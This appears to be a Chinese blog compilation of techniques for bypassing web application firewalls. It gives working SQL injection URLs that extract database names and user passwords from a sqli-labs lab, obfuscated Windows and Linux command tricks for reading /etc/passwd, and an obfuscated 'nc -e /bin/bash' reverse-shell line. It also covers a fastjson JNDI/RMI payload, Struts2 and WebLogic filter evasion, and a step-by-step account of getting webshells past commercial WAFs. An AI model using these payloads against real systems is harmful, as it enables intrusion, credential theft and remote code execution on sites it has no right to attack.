waf原理以及绕过笔记
waf原理
都是总结了别人的东西0.0
Waf = Web Application Firewall ,web应用防火墙,简单来说就是在http协议层面对我们的数据包进行检测,如果发现了可能是带有攻击性的语句,就会进行拦截。
为了不让waf发现我们的意图,我们通常可以利用以下几种方式绕过waf检测。
一些思维导图
基于waf规则绕过原理
对抗规则绕过
原理:匹配不到恶意语句就不会拦截。
对关键字进行不同编码
1 | select * from zzz = select * from %257a%257a%257a //url编码 |
对关键字进行大小写变换
1 | Union select = uNIoN sELecT |
通过其他语义相同的关键字替换
1 | And = && |
除了通过编码等价替换等方式绕过检测,我们还能配合目标特性实现绕过检测。
配合Windows特性
1 | whoami = ((((Wh^o^am""i)))) //利用符号分割字符执行whoami |
1 | whoami = set a=net&&b=user&&call %a%%b% //利用变量分割关键字执行whoami |
1 | set a=123whoami456 // 为了方便演示这里设置一个变量 |
配合Linux特性
1 | whoami = w'h'o'a'm"i" //单引号或双引号连接符,需要闭合 |
1 | Cat /etc/passwd = cat /?t*/??ss** //?,*通配符 |
1 | Whoami = a=who&&b=ami&&$a$b //当然linux下也可以变量拼接 |
1 | cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目录穿越, /被拦截 |
Shell反弹也可以配合特性使用。
1 | nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234 //(127.0.0.1 → 2130706433) |
配合Mysql特性
/**/数据库注释符,中间部分被注释,可用于截断关键字,干扰waf匹配。
1 | User() = user/**/() // 注释符/**/也可以用于替换空格 |
/!/内敛注释,中间部分继续执行,mysql特有。
1 | User() = /*!user/*123*/()*/ // /*!*/内部继续执行 |
%0a换行与#单行注释符配合使用。
1 | Union select = union |
配合过滤代码或漏洞本身
关键字被过滤,双写关键字。
1 | and = anandd //将关键字过滤掉后剩下的内容组成新的关键字 |
通过chr()函数变换关键字。
1 | phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41) //将acsii码通过chr()函数转换回来 |
通过base_convert() 函数变换关键字。
1 | phpinfo = base_convert(27440799224,10,32) //从10进制转换成32进制 |
http协议绕过
原理:理解不了恶意语句就不会拦截。
Content-Type绕过
有的waf 识别到Content-Type类型为multipart/form-data后,会将它认为是文件上传请求,从而不检测其他种类攻击只检测文件上传,导致被绕过。
1 | application/x-www-form-urlencoded è multipart/form-data |
HTTP请求方式绕过
waf在对危险字符进行检测的时候,分别为post请求和get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测。
Ps:云锁/安全狗安装后默认状态对post请求检测力度较小,可通过变换请求方式绕过。
参数污染绕过
由于http协议允许同名参数的存在,同时waf的处理机制对同名参数的处理方式不同,造成“参数污染”。不同的服务器搭配会对传递的参数解析出不同的值。配合waf与中间件对参数解析位置不同,可能绕过waf。
1 | 提交的参数为:?id=1&id=2&id=exp |
部分中间件的处理方法:
Web 环境 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | last |
JSP/Tomcat | Request.getParameter(“par”) | first |
Perl(CGI)/Apache | Param(“par”) | first |
Python/Apache | getvalue(“par”) | [“first”,”last”] |
ASP.NET/IIS | Request.QueryString(“par”) | first,last |
解析特性绕过
原理:利用waf与后端服务器的解析不一致。
Iis5.0-6.0解析漏洞
1 | .asp --> /xx.asp/xx.jpg //.asp,.asa目录下的文件都解析成asp文件 |
Iis7.5解析漏洞(php.ini开启fix_pathinfo)
1 | .php --> /xx.jpg //上传.jpg一句话,访问时后面加上/xx.php |
apache解析漏洞
1 | .php --> /test.php.php123 //从右往左,能别的后缀开始解析 |
nginx解析漏洞(php.ini开启fix_pathinfo)
1 | .php --> xxx.jpg%00.php //Nginx <8.03 空字节代码执行漏洞 |
多Content-Disposition绕过
请求包中包含多个Content-Disposition时,中间件与waf取值不同。
解析兼容性绕过
在http协议中,标准的文件名的形式为filename=”1.php”,但是web容器会在解析协议时做一些兼容,文件上传时,有的waf只按照标准协议去解析,解析不到文件名,从而被绕过。
1 | filename="test.php filename=test.php filename=‘test.php‘ |
keep-alive(Pipeline)绕过
原理:http请求头部中有Connection这个字段,建立的tcp连接会根据此字段的值来判断是否断开,我们可以手动将此值置为keep-alive,然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过waf。
发送两个请求,但绕过失败,被云锁拦截,此种方法现在基本失效。
分块传输绕过
原理:分块编码传输将关键字and,or,select ,union等关键字拆开编码,绕过waf等安全设备的检测,但无法绕过代码本身的检测。
修改编码方式:Charset绕过
原理:大部分的WAF默认用UTF8编码检测,修改编码方式可能会绕过waf,例如设置charset为ibm037。
HTTP协议未覆盖
Content-type: multipart/form-date 为什么存在?是为了满足能够既传参数又能传文件的场景;
①利用 Content-type: multipart/form-date 绕过上传的边界(boundary)限制。
通过多boundary定义,使waf检测范围和实际上传范围不一致,从而绕过waf上传恶意内容:
②上传参数“file”,绕过waf检测“filename”
Chunked+协议未覆盖
利用 Content-type: multipart/form-date + Chunked编码绕过WAF检测限制。
Waf检测限制绕过
原理:超出waf检测能力部分不会拦截。
高并发
使用自动化工具短时间内发送大量攻击数据包。
缺点:动静太大,容易被业务察觉并封禁;
参数溢出
原理:通过增加传递得参数数量,达到waf检测上限,超出的参数就可绕过waf了。可绕一些轻量级waf,如phpstudy自带waf。
设置拦截关键字:
添加参数数量,成功绕过。
缓冲区溢出
原理:当服务器可以处理的数据量大于waf时,这种情况可以通过发送大量的垃圾数据将 WAF 溢出,从而绕过waf。
1 | UnIoN SeLeCT = and (select 1)=(Select 0xA*99999) UnIoN SeLeCT |
网络结构绕过
原理:不经过安全设备就不会拦截。
源ip绕过
原理:直接对源地址发起攻击,流量不会经过waf,从而成功绕过。
正常访问流量
攻击者流量
同网段/ssrf绕过
同理, 因同网段的流量属于局域网,可能不经过waf的检测。
通过服务器A自身或B的ssrf漏洞,从网络内部发起攻击流量。
一些waf绕过实例
安全狗
sql注入
用sql-lib演示
1 | 查库:select schema_name from information_schema.schemata |
万能符号:
1 | union select --> union/*//--/*/select |
order by
这边主要依赖%20/*//--/*/
拦截
http://192.168.1.102/sql/Less-1/?id=1' order by 1 --+ '
http://192.168.1.102/sql/Less-1/?id=1' order /*//--/*/ by 1 --+
成功
http://192.168.1.102/sql/Less-1/?id=1' order/*////*/by+3-- +
也就是
执行了
union select语句
http://192.168.1.102/sql/Less-1/?id=1' union /*//--/*/ select 1,2, 3 --+
或者
http://192.168.1.102/sql/Less-1/?id=1' union /*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+
database()关键字
http://192.168.1.102/sql/Less-1/?id=-1' union /*//--/*/ /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ () --+
?id=-1' union/*!90000zero*//*//*/select 1,user/*!90000zero*//*//*/(),database/*!90000zero*//*//*/()-- +
获取其他的库
http://192.168.1.102/sql/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+
http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+
1 | 使用/*!schemata*/ |
其它步骤
http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(table_name) /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+
http://192.168.1.102/sql/Less-1/?id=-1' union/*!90000zero*//*//*/select 1,user/*!90000zero*//*//*/(),group_concat(table_name) from --+/*%0ainformation_schema./*!tables*/ where table_schema=0x7365637572697479-- +
http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(column_name) /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
http://192.168.1.102/sql/Less-1/?id=-1' union*/\*!90000zero\*/**/\*//\*/*select 1,user*/\*!90000zero\*/**/\*//\*/*(),group_concat(column_name) from *--+/\*%0ainformation_schema./\*!columns\*/ where table_name=0x7573657273-- +*
http://192.168.1.102/sql/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(concat_ws(0x7e,username, password)) /*!from*/ security.users --+
http://192.168.1.102/sql/Less-1/?id=-1' union*/\*!90000zero\*/**/\*//\*/*select 1,2,group_concat(username,0x7e,password) from*/\*//\*/*security.users*-- +*
文件上传
重复数据(多次参数重复)
1.重复filename的值
2.filename中配合配合Content-Disposition参数混淆
这个成功的原因应该还是安全狗之检测了第一个引号里的值,没有检测第二个导致的绕过。
数据溢出-防匹配(xxx…)
我们的思路是这样的,你安全狗不是要检测吗,给你塞一堆乱七八糟的的垃圾数据,加大工作量,你是不是就不会检测了。这里我们参考上面的,哪些参数可以动,哪些参数最好不用动,在可以改动的参数中加垃圾数据。
这里成功上传,我这里是加了很多,加的少的话安全狗还是会检测到并拦截。
上传绕过-溢出
安全狗会对脚本文件的后缀和文件关键字进行正则处理并过滤有害请求。
也就是说想绕过安全狗需要达到两点
1、木马免杀
2、文件后缀绕过
木马免杀很简单,php的话花样比较多,简单混淆一下即可
如:
但是后缀名就比较难了。如果对方web容器不支持畸形解析,那么后缀名必须上传脚本文件才可以getshell,因此最终到服务器的文件后缀名必须为php。而安全狗最基础的过滤便是过滤php后缀,那怎么解决呢。我们便可以使用http头的 Content-Disposition: 字段溢出。
由于安全狗对于http头字段: Content-Disposition: 处理的不是很好, 当长度增加到48930的时候,安全狗的上传防御就失效了。结果如下图:
这也就是溢出的基本思想,也就是将字段增加到程序无法处理的长度,然后溢出的长度便可以执行自己构造的代码。
上传绕过-换行符
这个其实我是在测试360主机卫士的时候想回来试一试的,没想到也可以绕过…
具体怎么绕可以看一下下面的360上传绕过,这里就不多写了。
360主机卫士
虽然这款软件官网已经关闭,且不再更新,但是依然可以经常见到它的身影。
环境:
phpstudy
360主机卫士Apache 纪念版
win 2008 r2
代码没写,直接搬运的sqli-labs的源码
简单测试:payload:?id=-1 union select 1,2,3 –+
sql攻击触发了防御机制,本来应该转到 zhuji.360.cn页面,正常来说是一个警告页。但是由于该软件已经停运,所以出现白屏即是被阻断。特征便是向zhuji.360.cn发出无回应的请求。
可见确确实实被防御了。
现在我们进行绕过
SQL注入绕过-网站后台白名单绕过
在360主机卫士客户端设置中存在默认网站后台白名单,如图:
利用PHP中的PATH_INFO问题,也就是将白名单关键字当作PATH_INFO 的模块绕过过滤 。
path_info 模式:http://www.xxx.com/index.php / 模块 / 方法:
随便挑选一个白名单加在后面,可成功bypass。
如 :index.php/admin?id=-1 union select 1,2,3 –+
这里虽然路径有admin,但是这个admin会被当作是index.php的模块,最终访问的依然是index.php.
SQL注入绕过-静态资源绕过
当文件后缀名为js、jpg、png等静态资源后缀请求,类似白名单机制,该waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。
payload:index.php/1.png?id=-1 union select 1,2,3 –+
SQL注入绕过-溢出
由于GET方式的请求是有长度限制的(这个限制不是HTTP协议限制的,而是不同的浏览器限制的,比如ie浏览器长度就限制为 2083 字节 ),所以waf几乎都会对检测长度全覆盖,但是由于POST包长度不受限制(这里其实也有限制,是web容器对其的限制,比如Tomcat 默认是2MB ),所以相比GET,部分waf为了提高数据吞吐量和处理速度,对POST的数据过滤往往达不到全覆盖,当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。所以可以使用溢出进行绕过。
payload:id=-1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3 – +
也可以使用内联加入无效字符进行绕过,比如
id=-1 /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ union select 1,2,3 – +
SQL注入绕过-参数溢出
这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。
经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。
payload:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=-1 union select 1,2,schema_name %0a/!from/ information_schema.SCHEMATA
SQL注入绕过-GET+POST
这算得上是一个年代久远的逻辑漏洞了,那就是当同时存在GET和POST请求时,会进入POST逻辑,从而忽略对GET请求的过滤。
payload:
?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
POST:id=1
SQL注入绕过- %0a+内联注释
这种绕过方法虽然只对mysql生效,但是在这么多绕过方法中,内联注释+扰乱是最好的一种。
除了seletc from 需要使用%0a,其他的关键字随便绕
如payload:?id=-1 union%0a/!12345select/ 1,2,schema_name%0a/!12345from/information_schema.SCHEMATA
SQL注入绕过-编码绕过
客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。
这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。
id=-1 %55nion %53elect/!1,2,schema_name %0aFROM information_schema.SCHEMATA/
SQL注入绕过-分块传输
这个上面已经讲过了,对付360居然废了,如果直接输入payload然后分块后会被拦截,且包括增加注释都没用…
上传绕过-溢出
同样Content-Disposition: 字段溢出依然适用,不知道这些软waf是不是一个模子出来的…
360会对文件后缀进行waf,脚本文件显然都在黑名单中。
比如php
我们再测试一下它会不会对文件内容进行检测,我们搬出一个最容易被杀的小马,把文件名后缀改为jpg。
没想到上传成功了,这也就意味着如果服务器存在畸形解析是可以被利用的。当然我的服务器没有,也就无法利用。
那么我们只需对后缀名进行绕过即可。
我们输入足够数量的字符将 Content-Disposition: 字段溢出。
成功上传。
上传绕过-换行符
这种绕过方法依然是针对 Content-Disposition: 字段,利用方法为:在from-data前加回车。这样就可以绕过对文件名的过滤。
还有一点是经过测试出来的结果,就是不仅仅在from-data前加回车可以绕过,在name=之后加回车同样可以
那么,在filename=后加回车可以吗,答案是依旧可以,那我又尝试在参数内用换行符分离,果不其然还是可以。所以结论为: Content-Disposition: 字段 的每个参数值前或者参数内加回车都可以绕过360的后缀名过滤。
比如我可以这样:
又或者是这样:
云锁
SQL注入绕过-内联注释
GET方式下,内联注释内加入数字符号字母依旧可以绕过云锁。
payload:id=-1 /!800000aaa/union /!800000aaa/ select /!800000aaa/ 1, /!800000aaa/ user /!800000aaa/ (),3
但是
云锁还有一个扯淡的点在于它对select from关键字过滤的十分严格,但是依然有突破点,毕竟内联可以用,那就代表还有希望。
构造语句为:http://192.168.150.139/sqli/Less-1/?id=-8189' UNION /!11444all/ /!11444select 1,2,(/!11444select group_concat(schema_name) from information_schema.schemata) */ – asdf
使用/!/将select from 语句包裹起来,便可绕过云锁。至于具体怎么绕过的,后面我会开一篇文章讲解。
1 | # -*- coding: utf-8 -*- |
D盾webshell
宝塔webshell
一些bypass总结
fastjson bypass 某WAF
demo
bypass
1 | {"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}} |
宝塔防火墙 Bypass
- 传参方式 $_COOKIE
- 编码绕过流量检测
3重 base64 失败(似乎检测了关键字‘base64’)
3重 url编码 成功
demo1:
1 |
|
demo2:
1 |
|
一些中间件的bypass
常规绕WAF思路
1、错误的HTTP请求头
类似文件上传时的绕过,通过畸形的HTTP协议头绕过WAF检测。比如绕过某些老版本WAF可以加入请求头:Content-Encoding:deflate就可以绕过WAF(此方法在文件上传绕过WAF中也适用)
2、通用的JAVA类关键字绕过
将关键字转换成Unicode或者HEX编码的方式,JAVA程序会自动进行解码,所以在一定程度上能够绕过WAF
3、使用未公开的漏洞利用链
部分WAF会将公开的漏洞利用链中的关键字设置为黑名单,所以重新找一条利用链吧,自己的才是最香的
Struts2过WAF
1、三种快速判断struts2的方法
(1)通过后缀判断
通过后缀判断struts2是最快速和最常见的方法,但是这种方法不太准确,有些程序员会自定义页面后缀。一般struts2页面常用后缀为.do和.action。但是也有另一种比较特殊的情况,比如:userManager!list.action类似这种带!的形式很有可能是Struts2框架
(2)通过页面回显的错误消息来判断,页面不回显错误消息时则无效
如原始的目标地址是http://www.struts2-vuln.com,则检测所用的地址是http://www.struts2-vuln.com/?actionErrors=1111111,如果返回的页面出现异常,则可以认定为目标是基于Struts2框架构建的。异常情况包括页面直接出现404、500等错误,页面上输出了与业务有关错误消息,或者1111111被回显到页面上了,页面的内容结构发生了明显的改变,页面发生的重定向。(该方法目前在测试时基本未成功过,仅当作知识点留存
(3)判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true
[](https://cdn.nlark.com/yuque/0/2021/png/411367/1637484443630-48d128ba-d056-4ce9-8a76-3e8bbd19fbc8.png#clientId=u12f63578-60ea-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ud3fb5681&margin=[object Object]&name=image.png&originHeight=1182&originWidth=2406&originalType=url&ratio=1&rotation=0&showTitle=false&size=82743&status=done&style=none&taskId=u2fe26581-8b2e-464f-afd2-44466eaa766&title=)
2、Struts2中的$和%
在Struts2中,%和$作用一致,可以相互替换,当WAF拦截了%时可以试试用$替换,反之亦然
3、如何绕过waf
这里我们以s2-016和s2-045为例,演示如何绕过waf,实验环境如下:
[](https://cdn.nlark.com/yuque/0/2021/png/411367/1637484678670-9a000f8e-deb7-48c1-ab2d-ac774733384a.png#clientId=u12f63578-60ea-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=295&id=ub0bbe0fd&margin=[object Object]&name=image.png&originHeight=884&originWidth=2298&originalType=binary&ratio=1&rotation=0&showTitle=false&size=174035&status=done&style=none&taskId=uc112adc8-0e14-4e4b-8683-60aba1c1e18&title=&width=766)
我们先用工具跑一下
这个时候工具就不管用了,什么都没有发现,还是我们手输poc比较靠谱一些,先试一下最基本的s2-016的验证poc
左下角提示waitting,说明Poc被WAF拦截掉了,我们试一下绕过
针对s2-016的绕过,我们只需要双写大括号就可以
这里Poc就成功执行了11*11,返回包里也返回了121
我们在尝试一下同样用双写的方法绕过一下s2-045
GG了,看来这样绕不过去。
我们重新看一下s2-045的poc,这么长一大串,WAF最有可能使用哪种方式进行检测呢?poc里那么多关键字,很大几率是对关键字进行检测吧,那我们吧关键字拆分开试一下
可以了,用+拼接关键字,成功绕过了WAF对关键字的检测。不过不知道编码的方法可不可以
Weblogic过WAF
1、两种快速判断Weblogic的方法
(1)通过404页面判断
(2)通过X-powered-by头判断:servlet/2.4(版本) JSP/2.5(版本)
2、如何绕过waf
POC直接干它
直接wait了,说明被waf拦截掉了。后面是了好多方法都不行,最后大佬说用chunked编码可以绕过,试一下
[](https://cdn.nlark.com/yuque/0/2021/png/411367/1637486777292-17fa9048-efe4-4003-b8d2-cfb70b068634.png#clientId=u5c042590-bc39-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ub4d514e9&margin=[object Object]&name=image.png&originHeight=1827&originWidth=2623&originalType=url&ratio=1&rotation=0&showTitle=false&size=414236&status=done&style=none&taskId=uc1fd6406-a1ab-4d5f-85fd-eb6cba4f3cd&title=)
这也不行啊,chunked编码手还是被拦截了。大佬有说好好看看http头部的内容。
对比于之前的包,chunked编码后,包头中多了Transfer-Encoding:chunked,这是用来说明使用了chunked编码的,难道waf还会识别这个,自动解码chunked吗???既然如此那我们就不让waf识别chunked编码
所以在Transfer-Encoding:chunked后加入任意内容,即可绕过WAF
一些思路文章
第一篇
后缀绕过
首先看一下waf咋工作的,当数据包匹配到waf规则后,数据包就会被丢弃掉,就像这样
多个等于号
单双引号替换
失败
溢出Content-Disposition字段
失败,而且不清楚是因为服务器性能原因还是规则有这个,当此字段太长的时候(具体多长不清楚),正常上传图片数据包也会被丢弃。
失败,而且这里也有限制,太长也会导致正常上传失效。
Accept-Encoding:
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflate
Accept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *
均失败
分块传输
失败 似乎waf拦截的就是 Transfer-Encoding: chunked ,但是去掉chunked会请求异常
等等等后面又试了一堆,均失败
柳暗花明
后面看了一眼服务器 是windows的,尝试用windows文件命名规范来绕过,
众所周知,win的文件名是不能包含以下字符的
结果有点出乎意料,最后到服务器的居然是.jpg,正反斜杠都这样
换一个符号,尝试星号,被拦,都试了一遍后,发现只有冒号可以
访问一下看看是否存在www.php
文件确实传上去了,可是问题又来了,没写入内容…
后来才知道,冒号会将文件内容置空,一时间又没了头绪
姑且后缀名绕过了吧。
内容绕过
只传个0kb和不传不是一样吗,所以还是要把数据写进去,
怎么写呢?起初我是不知道的,旁边的好兄弟说三个左尖括号可以写入文件
类似这样
……
天无绝人之路,三个不行 我用四个
没想到四个也能写 笑了 都不知道为什么
但是问题又来了 文件名咋整,www.php会被拦截,加个冒号又会将文件置空,似乎陷入了死循环,一顿瞎操作后,发现这样居然写进去了,虽然也不知道为什么,可能是什么奇奇怪怪的正则机制?
既然能写文件了,那我本来以为就简简单单了,没想到噩梦才是刚刚开始
首先我之前整的一堆花里胡哨的马一个都没过去,唯一一个能过去的,之前绕过的马还不能运行(这是个坑,后面会讲),虽然这个马在我本地是可以运行的,可能这就是玄学吧哈哈。
首先正常的变量他就过不去,然后<?php 标签和某些场景混合时也过不去,成对的括号它也拦截,总之就是变态
举个例子:
内容绕过也是在这个基础上去过去的,本来我准备直接传这个马梭哈,但是传是传上去了,执行不了,会一直等待,但是这个等待又不是被waf拦截了,后面才知道,这是因为php内容报错了,导致不能正常运行,就会一直卡在那里,
那为什么会报错呢,fuzz了一波后才发现,这个服务器上必须闭合尖括号,要不然就会直接炸,明明是同样的php版本,也不知道为什么会这样,只传递第一个标签没问题,
但是末尾的两个标签也不能去掉,是用来混淆的,去掉直接waf都过不去
场面陷入了胶着,此时将一个完整的马传上去似乎不太现实了,一步一步来吧,先尝试能不能执行命令
之前讲过,规则是不允许成对括号出现的,所以连phpinfo都执行不了
真的执行不了吗?
1 | $a =<<< aa |
这种赋值手法是php的一种特性,用于解决字符串中既有单引号又有双引号这种特殊情况,aa名称没意义,起什么都可以,在某些php版本中,末尾的aa后不能加其他语句,否则会报错。
因为会报错,所以waf不会拦截,所以在aa;后是可以添加php代码的
这里又一个坑,因为system中可以用双引号也可以不用,用双引号的时候一般是类似 ls -l 这种有空格的情况,但是whoami这种的是不需要引号的,但是这里访问一直转明显是语法错误,那我加上就是了。
命令执行没问题了,尝试写一句话,
果不其然被拦截了
尝试加点注释
本地试了一下,发现eval这句不能在aa;后面,又是语法错误
既然如此,那我只能放大招了,那就是fopen大法,也就是通过php脚本文件向服务器写新文件,达到绕过流量层waf检测。
先写个txt试试水,所有字符能放开的最好直接用注释分开,
访问一下www.php
流量绕过
流量绕过就比较简单了,多次编码即可,这里上传了一个三次base64解密的马
但是蚁剑编码器出现了问题,可能是多次编码导致不知道哪里出了问题,直接上传冰蝎(这里需要把冰蝎分两段传,用fopen的a参数拼接脚本)
over
第二篇
硬怼
1 | 硬怼的话,主要是从下面这些方法入手去操作。 |
1 | 第一步,先来对waf的规则做一个简单的判断。这里我的习惯是从内容,后缀两个方向进行判断。简单来说,基本分为这几种情况 |
1 | 先来fuzz一波能利用的后缀名,这里可以包括中间件的一些配置文件。希望不大,一点都不出意外,全部被拦截了。 |
1 | 既然我们需要对后缀名进行改造,就对后缀名后面加特殊符号做一个fuzz试试,测试了一下,在没有恶意内容的情况下,只有'被过滤了。所以如果有机会,我们看看能不能试试系统特殊,比如;去做截断。先记下来。因为最终还是需要免杀马的,jsp免杀又不会,先不考虑这个,先考虑把waf绕过。(这里我对filename做了换行,然后去掉了引号,加了一个;做截断绕过了waf,但是内容被查杀了,尴尬。) |
1 | 接下来对http头部进行改造一下尝试绕过 |
1 | http头部上传相关绕过,有一些用畸形相关的,不太推荐一来就试,fuzz的可以带一下,这种属于天时地利人和占据才用,毕竟底层的规定好的合规变了就不能识别,但是也说不准fuzz出问题了呢。fuzz本来就是一个天马行空的过程,好了,继续来看。 |
1 | http头部其他绕过,这一块就比较多了,编码,长度等等,都可以试一下,具体的方法和上面的差不多。这里就用参考链接pureqh老哥的几个东西了。 |
1 | 到这里就差不多了,再来回头理一下我们的思路。借用露迅先生的一句话,你如果啥都不晓得就莽起整,一些都等求于零。所以我们总结一下我们的思路。 |
二 迂回打击
1 | 说是迂回打击,但是其实就是利用一些通用的手段,或者中间件的特性去绕过waf,甚至说寻找到了真实ip去直接绕过云waf等方法。这里我就简单总结一些,不全面的话忘体谅。这一块主要是内容相关的了。 |
1 | (1)基于http请求的绕过 |
1 | 其他绕过 |
参考:
https://mp.weixin.qq.com/s/vaf1tNzpuSFerzqk8M0jLg
https://www.anquanke.com/post/id/169738
https://github.com/c0ny1/chunked-coding-converter
https://mp.weixin.qq.com/s/WVz_i2OJmLoFPeMmp70K9A
https://github.com/pen4uin/awesome-pentest-note/blob/main/README.md#fastjson-bypass-%E6%9F%90waf